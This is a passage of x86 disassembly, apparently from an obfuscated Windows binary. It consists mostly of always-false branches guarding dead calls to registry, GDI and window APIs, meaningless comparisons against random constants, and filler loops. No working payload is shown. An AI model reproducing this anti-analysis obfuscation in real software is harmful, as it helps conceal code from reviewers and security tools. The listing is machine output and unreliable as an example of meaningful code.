jge 0x46ff04
mov dword [ebp - 0x16d4], 5
mov byte [ebp - 0x2ad], 0
movzx eax, byte [ebp - 0x2ad]
test eax, eax
je 0x46fed5
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
mov eax, dword [ebp - 0x16d4]
cmp dword [ebp - 0x16d4], eax
jg 0x46feef
mov dword [ebp - 0x1c6c], 1
jmp 0x46fef6
and dword [ebp - 0x1c6c], 0
mov eax, dword [ebp - 0x1c6c]
mov dword [ebp - 0x20ac], eax
jmp 0x46fe99
mov dword [ebp - 0x293c], 0x34309e95
mov dword [ebp - 0x1d64], 7
push 1
lea ecx, [ebp - 0x24d4]
call fcn.0042ec30
mov dword [ebp - 0x9e4], 0
mov dword [ebp - 0x9dc], 0xffffffff
mov dword [ebp - 0xab8], 1
mov dword [ebp - 0x16ec], 0xbf5f40e1
mov dword [ebp - 0x20b4], 0x3703acb6
mov dword [ebp - 0x16f4], 0x800f4d4e
mov dword [ebp - 0x658], 0
jmp 0x46ff7a
mov eax, dword [ebp - 0x658]
inc eax
mov dword [ebp - 0x658], eax
cmp dword [ebp - 0x658], 1
jge 0x46ff9c
push dword [ebp - 0x658]
lea ecx, [ebp - 0x24d4]
call fcn.0042ed1e
mov dword [eax], 7
jmp 0x46ff6d
push 0
lea ecx, [ebp - 0x24d4]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x470076
mov eax, dword [ebp - 0x9dc]
mov dword [ebp - 0x2bc8], eax
mov eax, dword [ebp - 0xab8]
mov dword [ebp - 0x2944], eax
mov eax, 0x1160
cmp eax, 6
je 0x46ffe0
mov dword [ebp - 0x16dc], 1
jmp 0x46ffe7
and dword [ebp - 0x16dc], 0
mov eax, dword [ebp - 0x9e4]
cmp eax, dword [ebp - 0x16dc]
jg 0x470001
mov dword [ebp - 0x1a94], 1
jmp 0x470008
and dword [ebp - 0x1a94], 0
mov eax, dword [ebp - 0x9e4]
cmp dword [ebp - 0x1a94], eax
jl 0x470022
mov dword [ebp - 0x9ac], 1
jmp 0x470029
and dword [ebp - 0x9ac], 0
push 0
lea ecx, [ebp - 0x24d4]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x9ac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9dc]
cmp dword [ebp - 0x9ac], eax
jle 0x470058
mov dword [ebp - 0x16e4], 1
jmp 0x47005f
and dword [ebp - 0x16e4], 0
mov eax, dword [ebp - 0x16e4]
sub eax, dword [ebp - 0xab8]
jne 0x470076
and dword [ebp - 0x21f4], 0
jmp 0x470080
mov dword [ebp - 0x21f4], 1
mov dword [ebp - 0x1d64], 1
mov eax, dword [ebp - 0x1d64]
mov dword [ebp - 0x2d84], eax
mov dword [ebp - 0x16ec], 1
mov eax, dword [ebp - 0x16ec]
mov dword [ebp - 0x294c], eax
mov eax, dword [ebp - 0x9dc]
mov dword [ebp - 0x2bd0], eax
cmp dword [ebp - 0x9e4], 0xcaea
jg 0x4700d0
mov dword [ebp - 0x1a9c], 1
jmp 0x4700d7
and dword [ebp - 0x1a9c], 0
mov eax, dword [ebp - 0xab8]
add eax, dword [ebp - 0x1a9c]
mov dword [ebp - 0x20b4], eax
mov eax, dword [ebp - 0x16f4]
inc eax
mov dword [ebp - 0x16f4], eax
lea ecx, [ebp - 0x24d4]
call fcn.0042ed02
mov dword [ebp - 0x68], 0x10e6
mov dword [ebp - 0x668], 0xb017290b
mov dword [ebp - 0x498], 0xfffffffe
mov dword [ebp - 0x490], 0x33a9025b
mov dword [ebp - 0x660], 0
jmp 0x47013f
mov eax, dword [ebp - 0x660]
inc eax
mov dword [ebp - 0x660], eax
cmp dword [ebp - 0x660], 3
jge 0x47015b
mov eax, dword [ebp - 0x660]
mov dword [ebp + eax*4 - 0x894], 0xfffffffd
jmp 0x470132
cmp dword [ebp - 0x68], 0
ja 0x47016d
mov dword [ebp - 0x1aa4], 1
jmp 0x470174
and dword [ebp - 0x1aa4], 0
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x68]
je 0x47018e
cmp dword [ebp - 0x68], 0
je 0x47018e
mov dword [ebp - 0x1c74], 1
jmp 0x470195
and dword [ebp - 0x1c74], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x1c74], eax
jge 0x4701ac
mov dword [ebp - 0x16fc], 1
jmp 0x4701b3
and dword [ebp - 0x16fc], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x16fc], eax
jne 0x4701ca
mov dword [ebp - 0x1704], 1
jmp 0x4701d1
and dword [ebp - 0x1704], 0
mov eax, dword [ebp - 0x1aa4]
sub eax, dword [ebp - 0x1704]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x894]
je 0x4701fa
cmp dword [ebp - 0x68], 0
jne 0x4701fa
and dword [ebp - 0x1e40], 0
jmp 0x470204
mov dword [ebp - 0x1e40], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x894]
add eax, dword [ebp - 0x1e40]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x894]
je 0x470230
mov dword [ebp - 0x170c], 1
jmp 0x470237
and dword [ebp - 0x170c], 0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x68]
sub ecx, dword [ebp - 0x170c]
imul eax, ecx
cmp eax, 0xba00
jge 0x470259
mov dword [ebp - 0x1aac], 1
jmp 0x470260
and dword [ebp - 0x1aac], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x894]
cmp dword [ebp - 0x1aac], eax
je 0x47027a
cmp dword [ebp - 0x68], 0
je 0x47028d
push 0xfffffffffffffffd
pop eax
test eax, eax
je 0x47028d
mov dword [ebp - 0x1714], 1
jmp 0x470294
and dword [ebp - 0x1714], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x894]
cmp dword [ebp - 0x1714], eax
je 0x4702b5
mov dword [ebp - 0x1c7c], 1
jmp 0x4702bc
and dword [ebp - 0x1c7c], 0
cmp dword [ebp - 0x1c7c], 0x64d9
je 0x4702d4
mov dword [ebp - 0x23a4], 1
jmp 0x4702db
and dword [ebp - 0x23a4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x894]
mov dword [ebp - 0x2954], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x894], 0
je 0x470319
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x894], 0
je 0x470319
mov dword [ebp - 0x171c], 1
jmp 0x470320
and dword [ebp - 0x171c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x894]
cmp dword [ebp - 0x171c], eax
je 0x470341
mov dword [ebp - 0x1ab4], 1
jmp 0x470348
and dword [ebp - 0x1ab4], 0
mov eax, dword [ebp - 0x1ab4]
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 0
je 0x470372
mov eax, 0xadf851f0
test eax, eax
je 0x470372
mov dword [ebp - 0x1724], 1
jmp 0x470379
and dword [ebp - 0x1724], 0
cmp dword [ebp - 0x1724], 0xb0c3
jle 0x470391
mov dword [ebp - 0x1d6c], 1
jmp 0x470398
and dword [ebp - 0x1d6c], 0
mov eax, dword [ebp - 0x498]
imul eax, dword [ebp - 0x1d6c]
imul eax, dword [ebp - 0x498]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x894]
jg 0x4703c6
mov dword [ebp - 0x172c], 1
jmp 0x4703cd
and dword [ebp - 0x172c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x894]
cmp dword [ebp - 0x172c], eax
jge 0x4703ed
mov dword [ebp - 0x1abc], 1
jmp 0x4703f4
and dword [ebp - 0x1abc], 0
mov eax, dword [ebp - 0x498]
cmp dword [ebp - 0x1abc], eax
jle 0x47040e
mov dword [ebp - 0x1734], 1
jmp 0x470415
and dword [ebp - 0x1734], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x894]
add eax, dword [ebp - 0x1734]
neg eax
cmp eax, 0xa3e2be8c
jne 0x47043d
mov dword [ebp - 0x1c88], 1
jmp 0x470444
and dword [ebp - 0x1c88], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x894]
imul eax, dword [ebp - 0x1c88]
cmp eax, dword [ebp - 0x68]
jge 0x470468
mov dword [ebp - 0x173c], 1
jmp 0x47046f
and dword [ebp - 0x173c], 0
mov eax, dword [ebp - 0x173c]
mov dword [ebp - 0x490], eax
push 8
pop eax
test eax, eax
je 0x4704d6
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x2e04], eax
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x668], eax
jg 0x4704a5
mov dword [ebp - 0x1ac4], 1
jmp 0x4704ac
and dword [ebp - 0x1ac4], 0
mov eax, dword [ebp - 0x1ac4]
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 0
je 0x4704d6
cmp dword [ebp - 0x498], 0
je 0x4704d6
mov dword [ebp - 0x20bc], 1
jmp 0x4704dd
and dword [ebp - 0x20bc], 0
mov eax, dword [ebp - 0x490]
add eax, dword [ebp - 0x498]
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x1a4], 0
jmp 0x470508
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 2
jge 0x47052a
push dword [ebp - 0x1a4]
lea ecx, [ebp - 0x2cd4]
call fcn.0042ed1e
mov dword [eax], 0x1169
jmp 0x4704fb
mov dword [ebp - 0x688], 0x7c87
mov dword [ebp - 0x70], 0xffffffff
or dword [ebp - 0x2594], 0xffffffff
or dword [ebp - 0x2590], 0xffffffff
or dword [ebp - 0x258c], 0xffffffff
or dword [ebp - 0x2588], 0xffffffff
lea ecx, [ebp - 0x995]
call fcn.0042ed2d
push eax
lea eax, [ebp - 0x2584]
push eax
lea eax, [ebp - 0x2594]
push eax
lea ecx, [ebp - 0x2fec]
call fcn.0042ed30
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xb88]
call fcn.0042ecdc
mov dword [ebp - 0x3c4], 0xffffffff
push 1
lea ecx, [ebp - 0x2348]
call fcn.0042ec30
mov dword [ebp - 0x4a0], 0xf0b53cf5
mov dword [ebp - 0xa50], 0xffffffff
mov dword [ebp - 0x10d0], 0
mov dword [ebp - 0x670], 0
jmp 0x4705da
mov eax, dword [ebp - 0x670]
inc eax
mov dword [ebp - 0x670], eax
cmp dword [ebp - 0x670], 1
jge 0x4705fc
push dword [ebp - 0x670]
lea ecx, [ebp - 0x2348]
call fcn.0042ed1e
mov dword [eax], 0xfffffff7
jmp 0x4705cd
cmp dword [ebp - 0x688], 0
je 0x47064a
mov eax, dword [ebp - 0x3c4]
dec eax
mov dword [ebp - 0x3c4], eax
push 1
lea ecx, [ebp - 0xb88]
call fcn.0042ed1e
cmp dword [eax], 0x7d63
je 0x470633
mov dword [ebp - 0x1744], 1
jmp 0x47063a
and dword [ebp - 0x1744], 0
push 1
lea ecx, [ebp - 0xb88]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x70]
push 1
lea ecx, [ebp - 0xb88]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x70]
cmp dword [eax], ecx
jle 0x47066a
mov dword [ebp - 0x9c8], 1
jmp 0x470671
and dword [ebp - 0x9c8], 0
push 1
lea ecx, [ebp - 0xb88]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x9c8]
mov dword [eax], ecx
imul eax, dword [ebp - 0x9c8], 0xf89
cmp eax, dword [ebp - 0x70]
jne 0x4709ea
mov dword [ebp - 0x10b0], 4
mov dword [ebp - 0x174c], 0x4acc0136
mov dword [ebp - 0x680], 0x3da550e8
mov dword [ebp - 0x295c], 0xb6f85a06
push 1
lea ecx, [ebp - 0x2338]
call fcn.0042ec30
mov dword [ebp - 0x21fc], 8
mov dword [ebp - 0x678], 0
jmp 0x4706f1
cmp dword [ebp - 0x678], 1
jge 0x470710
push dword [ebp - 0x678]
lea ecx, [ebp - 0x2338]
call fcn.0042ed1e
and dword [eax], 0
jmp 0x4706e4
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x21fc]
mov edx, dword [ebp - 0x4a0]
dec edx
mov dword [ebp - 0x4a0], edx
cmp ecx, eax
je 0x4707be
mov byte [ebp - 0x2b5], 0
movzx eax, byte [ebp - 0x2b5]
test eax, eax
je 0x470a15
push 0
push 0xc09
push 0
push 0x3b5
push 0x1432
call dword [sym.imp.GDI32.dll_ExtCreatePen]
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x2964], eax
mov dword [ebp - 0x70], 0xfffffffb
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x2d8c], eax
push 2
lea ecx, [ebp - 0xb88]
call fcn.0042ed1e
push 0
lea ecx, [ebp - 0x2348]
call fcn.0042ed1e
cmp dword [ebp - 0xa50], 0x878d
cmp dword [ebp - 0xa50], 0xa128
jl 0x470a6d
mov dword [ebp - 0x10c8], 1
jmp 0x470a74
and dword [ebp - 0x10c8], 0
mov eax, dword [ebp - 0x3c4]
mov ecx, dword [ebp - 0x688]
imul ecx, dword [ebp - 0x10c8]
add eax, ecx
mov dword [ebp - 0x10d0], eax
mov eax, dword [ebp - 0x4a0]
cmp dword [ebp - 0x10d0], eax
je 0x470aa9
mov dword [ebp - 0x3c], 0x7b4bc662
mov dword [ebp - 0x908], 0xfffffffe
push 2
lea ecx, [ebp - 0x1e80]
call fcn.0042ec30
mov dword [ebp - 0x73c], 0
jmp 0x4733f2
mov eax, dword [ebp - 0x73c]
inc eax
mov dword [ebp - 0x73c], eax
cmp dword [ebp - 0x73c], 2
jge 0x473414
push dword [ebp - 0x73c]
lea ecx, [ebp - 0x1e80]
call fcn.0042ed1e
mov dword [eax], 2
jmp 0x4733e5
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x3c]
jge 0x473424
cmp dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0x3c]
shl eax, 1
imul eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x3c]
je 0x473444
cmp dword [ebp - 0x3c], 0
je 0x473444
mov dword [ebp - 0x14d8], 1
jmp 0x47344b
and dword [ebp - 0x14d8], 0
cmp dword [ebp - 0x14d8], 0xffffffff
jbe 0x473460
mov dword [ebp - 0x14e0], 1
jmp 0x473467
and dword [ebp - 0x14e0], 0
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x908], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2dbc], eax
mov eax, dword [ebp - 0x908]
mov dword [ebp - 0x2a2c], eax
mov eax, 0x5d76270
add eax, 0xf9e3d3b0
jne 0x4734a3
cmp dword [ebp - 0x3c], 0
jne 0x4734a3
and dword [ebp - 0x14e8], 0
jmp 0x4734ad
mov dword [ebp - 0x14e8], 1
mov eax, dword [ebp - 0x14e8]
sub eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x3c]
jg 0x4734ca
mov dword [ebp - 0x900], 1
jmp 0x4734d1
and dword [ebp - 0x900], 0
push 1
lea ecx, [ebp - 0x1e80]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x900]
mov dword [eax], ecx
cmp dword [ebp - 0x900], 0
je 0x47352a
mov byte [ebp - 0x216], 0
movzx eax, byte [ebp - 0x216]
test eax, eax
je 0x473525
push 0x24ed
push 0
push 0
push 0
push 0
push 0xc1a
push 0x1233
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
jmp 0x4735fd
mov dword [ebp - 0x744], 0x6930509b
push 1
lea ecx, [ebp - 0x1e80]
call fcn.0042ed1e
mov eax, dword [ebp - 0x744]
cmp dword [ebp - 0x3c], eax
jle 0x473558
mov dword [ebp - 0x14f0], 1
jmp 0x47355f
and dword [ebp - 0x14f0], 0
push 1
lea ecx, [ebp - 0x1e80]
call fcn.0042ed1e
mov eax, dword [eax]
cmp eax, dword [ebp - 0x14f0]
jg 0x473582
mov dword [ebp - 0x14f8], 1
jmp 0x473589
and dword [ebp - 0x14f8], 0
imul eax, dword [ebp - 0x744], 0x8123
cmp dword [ebp - 0x744], 0
je 0x4735a8
mov dword [ebp - 0x1500], 1
jmp 0x4735af
and dword [ebp - 0x1500], 0
push 0
lea ecx, [ebp - 0x1e80]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1500]
cmp ecx, dword [eax]
je 0x4735e4
push 1
lea ecx, [ebp - 0x1e80]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x4735e4
mov dword [ebp - 0x1508], 1
jmp 0x4735eb
and dword [ebp - 0x1508], 0
mov eax, dword [ebp - 0x1508]
sub eax, dword [ebp - 0x744]
mov dword [ebp - 0x908], eax
mov byte [ebp - 0x218], 0
movzx eax, byte [ebp - 0x218]
test eax, eax
je 0x47362a
push 0
push 0
push 0x570
push 0x881
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
lea ecx, [ebp - 0x1e80]
call fcn.0042ed02
mov dword [ebp - 0x1f9c], 0xa5d6c05b
mov dword [ebp - 0x1f98], 0xa5d6c05b
mov dword [ebp - 0x1f94], 0xa5d6c05b
mov dword [ebp - 0x1f90], 0xa5d6c05b
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x1f9c], 0
jmp 0x47368b
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1f9c]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x1f9c], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x1f9c], 0xfffffffb
jg 0x4736bb
mov byte [ebp - 0x21a], 0
movzx eax, byte [ebp - 0x21a]
test eax, eax
je 0x4736b9
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
jmp 0x473670
mov byte [ebp - 0x21c], 0
mov dword [ebp - 0x94], 2
push 2
lea ecx, [ebp - 0x87c]
call fcn.0042ec30
mov dword [ebp - 0x2f4], 0xe69cd17
mov dword [ebp - 0x74c], 0x955f1bb1
mov dword [ebp - 0x2fc], 0x8fa7ad1
mov dword [ebp - 0x15d8], 0x75542ed5
mov dword [ebp - 0x223c], 0xddaf140b
mov dword [ebp - 0x530], 0
jmp 0x473724
mov eax, dword [ebp - 0x530]
inc eax
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 2
jge 0x473746
push dword [ebp - 0x530]
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
mov dword [eax], 0x4b14
jmp 0x473717
mov eax, 0x6673e7ed
test eax, eax
je 0x473812
mov eax, 0x8064
sub eax, dword [ebp - 0x94]
cmp dword [ebp - 0x94], eax
jge 0x473772
mov dword [ebp - 0x1510], 1
jmp 0x473779
and dword [ebp - 0x1510], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1510], eax
jne 0x473793
mov dword [ebp - 0x1518], 1
jmp 0x47379a
and dword [ebp - 0x1518], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1518], eax
jle 0x4737b4
mov dword [ebp - 0x1520], 1
jmp 0x4737bb
and dword [ebp - 0x1520], 0
cmp dword [ebp - 0x1520], 0x67f5
jg 0x4737d3
mov dword [ebp - 0x1528], 1
jmp 0x4737da
and dword [ebp - 0x1528], 0
cmp dword [ebp - 0x1528], 1
jge 0x4737ef
mov dword [ebp - 0x1530], 1
jmp 0x4737f6
and dword [ebp - 0x1530], 0
mov eax, dword [ebp - 0x1530]
shl eax, 1
cmp eax, dword [ebp - 0x94]
jg 0x473812
mov dword [ebp - 0x1538], 1
jmp 0x473819
and dword [ebp - 0x1538], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1538], eax
jl 0x473833
mov dword [ebp - 0x1540], 1
jmp 0x47383a
and dword [ebp - 0x1540], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1540], eax
je 0x473854
mov dword [ebp - 0x1548], 1
jmp 0x47385b
and dword [ebp - 0x1548], 0
imul eax, dword [ebp - 0x1548], 0xffffffff
test eax, eax
jae 0x473872
mov dword [ebp - 0x1550], 1
jmp 0x473879
and dword [ebp - 0x1550], 0
mov eax, dword [ebp - 0x94]
imul eax, dword [ebp - 0x1550]
test eax, eax
jne 0x4738a5
push 0
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x4738a5
and dword [ebp - 0x1558], 0
jmp 0x4738af
mov dword [ebp - 0x1558], 1
cmp dword [ebp - 0x1558], 0
jb 0x4738c4
mov dword [ebp - 0x213c], 1
jmp 0x4738cb
and dword [ebp - 0x213c], 0
push 1
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
push 1
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
mov eax, dword [eax]
mov dword [ebp - 0x2f4], eax
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x74c], eax
push 0
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
push 1
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
mov esi, eax
push 0
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x473934
mov dword [ebp - 0x1560], 1
jmp 0x47393b
and dword [ebp - 0x1560], 0
mov eax, dword [ebp - 0x2fc]
cmp dword [ebp - 0x1560], eax
jg 0x473955
mov dword [ebp - 0x1568], 1
jmp 0x47395c
and dword [ebp - 0x1568], 0
mov eax, dword [ebp - 0x1568]
add eax, 0xef5e
je 0x47397c
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x47397c
mov dword [ebp - 0x1570], 1
jmp 0x473983
and dword [ebp - 0x1570], 0
mov eax, dword [ebp - 0x1570]
sub eax, dword [ebp - 0x2f4]
cmp eax, dword [ebp - 0x2fc]
jle 0x4739a3
mov dword [ebp - 0x1578], 1
jmp 0x4739aa
and dword [ebp - 0x1578], 0
push 1
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
cmp dword [ebp - 0x2f4], 0
jae 0x4739cc
mov dword [ebp - 0x1580], 1
jmp 0x4739d3
and dword [ebp - 0x1580], 0
mov eax, dword [ebp - 0x2f4]
cmp dword [ebp - 0x1580], eax
jge 0x4739ed
mov dword [ebp - 0x1588], 1
jmp 0x4739f4
and dword [ebp - 0x1588], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1588], eax
jg 0x473a0e
mov dword [ebp - 0x1590], 1
jmp 0x473a15
and dword [ebp - 0x1590], 0
mov eax, dword [ebp - 0x1590]
mov dword [ebp - 0x2f4], eax
mov esi, dword [ebp - 0x2f4]
push 0
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
imul esi, dword [eax]
cmp esi, dword [ebp - 0x2fc]
jge 0x473a4b
mov dword [ebp - 0x1598], 1
jmp 0x473a52
and dword [ebp - 0x1598], 0
push 1
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
mov eax, dword [eax]
mov dword [ebp - 0x74c], eax
mov eax, dword [ebp - 0x74c]
cmp eax, dword [ebp - 0x1598]
jl 0x473a8a
cmp dword [ebp - 0x2fc], 0
je 0x473a8a
mov dword [ebp - 0x15a0], 1
jmp 0x473a91
and dword [ebp - 0x15a0], 0
mov eax, dword [ebp - 0x2fc]
imul eax, dword [ebp - 0x15a0]
cmp eax, 0x8f9f0ac7
je 0x473ab1
mov dword [ebp - 0x15a8], 1
jmp 0x473ab8
and dword [ebp - 0x15a8], 0
push 0
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
mov eax, dword [eax]
cmp eax, dword [ebp - 0x15a8]
je 0x473adb
mov dword [ebp - 0x15b0], 1
jmp 0x473ae2
and dword [ebp - 0x15b0], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x15b0], eax
je 0x473afc
mov dword [ebp - 0x15b8], 1
jmp 0x473b03
and dword [ebp - 0x15b8], 0
mov eax, dword [ebp - 0x15b8]
sub eax, dword [ebp - 0x94]
cmp dword [ebp - 0x2fc], eax
jle 0x473b23
mov dword [ebp - 0x15c0], 1
jmp 0x473b2a
and dword [ebp - 0x15c0], 0
cmp dword [ebp - 0x15c0], 0x2a41
jge 0x473b42
mov dword [ebp - 0x15c8], 1
jmp 0x473b49
and dword [ebp - 0x15c8], 0
push 0
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x15c8]
cmp ecx, dword [eax]
jle 0x473b67
cmp dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x74c]
mov dword [ebp - 0x2c68], eax
xor eax, eax
jne 0x473b89
mov eax, 0xc59c4d35
test eax, eax
jne 0x473b89
and dword [ebp - 0x15d0], 0
jmp 0x473b93
mov dword [ebp - 0x15d0], 1
push 0
lea ecx, [ebp - 0x87c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x15d0]
add ecx, dword [eax]
mov dword [ebp - 0x15d8], ecx
mov eax, dword [ebp - 0x15d8]
mov dword [ebp - 0x223c], eax
lea ecx, [ebp - 0x87c]
call fcn.0042ed02
movzx eax, byte [ebp - 0x21c]
test eax, eax
je 0x47413c
mov dword [ebp - 0x9c0], 0x2e91a04
mov dword [ebp - 0x9bc], 0x2e91a04
mov dword [ebp - 0x9b8], 0x2e91a04
mov dword [ebp - 0x9b4], 0x2e91a04
mov dword [ebp - 0x1620], 0
mov dword [ebp - 0x2a34], 0xfffffffb
mov dword [ebp - 0x2ec8], 0x817bb5c0
mov dword [ebp - 0x2a3c], 1
mov dword [ebp - 0x2e94], 0x8fd5f396
mov dword [ebp - 0x2e90], 0x8fd5f396
mov dword [ebp - 0x2e8c], 0x8fd5f396
mov dword [ebp - 0x2e88], 0x8fd5f396
mov dword [ebp - 0x1630], 0x7236c342
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x9c0], 0
jmp 0x473c84
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x9c0]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x9c0], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x9c0], 0xffffffe5
jne 0x4740fe
mov dword [ebp - 0x3d4], 0x24f84b81
mov dword [ebp - 0x124], 8
mov dword [ebp - 0x764], 0xfffffff8
mov dword [ebp - 0x4e0], 0xffffffff
push 2
lea ecx, [ebp - 0x2ce4]
call fcn.0042ec30
mov dword [ebp - 0x2c78], 4
mov dword [ebp - 0x2a44], 0x34309e95
mov dword [ebp - 0x11c], 0
jmp 0x473cfa
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 2
jge 0x473d1c
push dword [ebp - 0x11c]
lea ecx, [ebp - 0x2ce4]
call fcn.0042ed1e
mov dword [eax], 0x1169
jmp 0x473ced
mov dword [ebp - 0x11c], 0
jmp 0x473d35
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 1
jge 0x473d51
mov eax, dword [ebp - 0x11c]
mov dword [ebp + eax*4 - 0x2dc4], 0x91c6c8ec
jmp 0x473d28
mov dword [ebp - 0x3d4], 6
jmp 0x473d6a
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 0x19
jge 0x473f75
mov dword [ebp - 0x75c], 0xd8af
push 2
lea ecx, [ebp - 0x24bc]
call fcn.0042ec30
mov dword [ebp - 0x754], 0
jmp 0x473da7
mov eax, dword [ebp - 0x754]
inc eax
mov dword [ebp - 0x754], eax
cmp dword [ebp - 0x754], 2
jge 0x473dc9
push dword [ebp - 0x754]
lea ecx, [ebp - 0x24bc]
call fcn.0042ed1e
mov dword [eax], 0x11d7feae
jmp 0x473d9a
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0
je 0x473eb4
mov dword [ebp - 0x75c], 4
cmp dword [ebp - 0x75c], 0x16b5b384
je 0x473e26
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9c0]
add eax, dword [ebp - 0x75c]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x9c0]
test eax, eax
jne 0x473e26
and dword [ebp - 0x2144], 0
jmp 0x473e30
mov dword [ebp - 0x2144], 1
push 0
lea ecx, [ebp - 0x24bc]
call fcn.0042ed1e
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9c0]
cmp dword [ebp - 0x75c], eax
jg 0x473e5e
mov dword [ebp - 0x15e0], 1
jmp 0x473e65
and dword [ebp - 0x15e0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x15e0]
sub ecx, dword [ebp + eax - 0x9c0]
cmp ecx, dword [ebp - 0x124]
jl 0x473e8c
mov dword [ebp - 0x15e8], 1
jmp 0x473e93
and dword [ebp - 0x15e8], 0
mov eax, dword [ebp - 0x15e8]
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0
je 0x473eb4
mov dword [ebp - 0x15f0], 1
jmp 0x473ebb
and dword [ebp - 0x15f0], 0
mov eax, dword [ebp - 0x15f0]
mov dword [ebp - 0x4e0], eax
mov eax, dword [ebp - 0x4e0]
imul eax, dword [ebp - 0x124]
test eax, eax
je 0x473edf
cmp dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0x124]
sub eax, 0xc3e1
cmp eax, dword [ebp - 0x124]
jge 0x473efe
